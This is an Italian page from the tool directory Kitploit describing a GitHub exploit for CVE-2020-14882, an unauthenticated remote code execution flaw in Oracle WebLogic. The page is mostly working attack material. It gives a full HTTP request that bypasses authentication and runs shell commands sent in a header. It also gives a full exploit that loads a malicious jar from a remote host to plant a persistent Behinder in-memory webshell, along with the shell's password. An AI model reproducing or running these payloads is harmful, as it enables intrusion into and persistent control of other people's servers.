Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-14882 — Exploit per CVE-2020-14882 (RCE non autenticato su WebLogic) con deploy di memory shell tramite URLClassLoader e gadget ShellSession, che consente l'esecuzione remota di comandi e l'accesso persistente. | Kitploit
Strumenti/GitHubGitHub/kk98kk0/cve-2020-14882
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubkk98kk0/cve-2020-14882

CVE-2020-14882

Exploit per CVE-2020-14882 (RCE non autenticato su WebLogic) con deploy di memory shell tramite URLClassLoader e gadget ShellSession, che consente l'esecuzione remota di comandi e l'accesso persistente.

Vedi Repository
32125 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-14882: Deployare webshell in memoria di Behinder

Come noto, CVE-2020-14882 è una vulnerabilità di autorizzazione non autenticata che consente a un attaccante di eseguire codice arbitrario su un server WebLogic vulnerabile. I PoC pubblici online sfruttano caratteri illegali per bypassare l'accesso e quindi utilizzano un gadget per eseguire comandi. Tuttavia, negli scenari reali e negli attacchi Red Team, eseguire semplicemente comandi non è sufficiente. Diventa quindi cruciale sfruttare ulteriormente la vulnerabilità per deployare un webshell in memoria.

Ci sono molti articoli di analisi della vulnerabilità online; il problema principale è la doppia codifica. Vediamo direttamente il PoC del codice di esecuzione pubblico:

POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

Attualmente, solo WebLogic 12.2.1 e versioni successive supportano il ritorno dell'output, poiché la versione 10.3.6 non possiede questa classe. Si può vedere che questa versione utilizza il gadget com.tangosol.coherence.mvel2.sh.ShellSession per eseguire codice arbitrario. Pertanto, è possibile utilizzare java.net.URLClassLoader per caricare classi malevole e iniettare un webshell in memoria. URLClassLoader è una classe di implementazione di ClassLoader che può caricare classi sia da file binari locali che da remoto.

Webshell in memoria di Behinder per WebLogic image.png

Impacchetta e genera il jar image.png

Quindi, tramite il gadget com.tangosol.coherence.mvel2.sh.ShellSession, si invoca URLClassLoader per caricare da remoto. Codice:

com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");

Exploit completo:

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0


image.png image.png

La password di connessione di Behinder è: rebeyond

image.png

Nota: La versione predefinita di Behinder non supporta i webshell in memoria.

Riferimenti:

https://xz.aliyun.com/t/8202

https://www.cnblogs.com/potatsoSec/p/13895120.html

Scarica lo strumento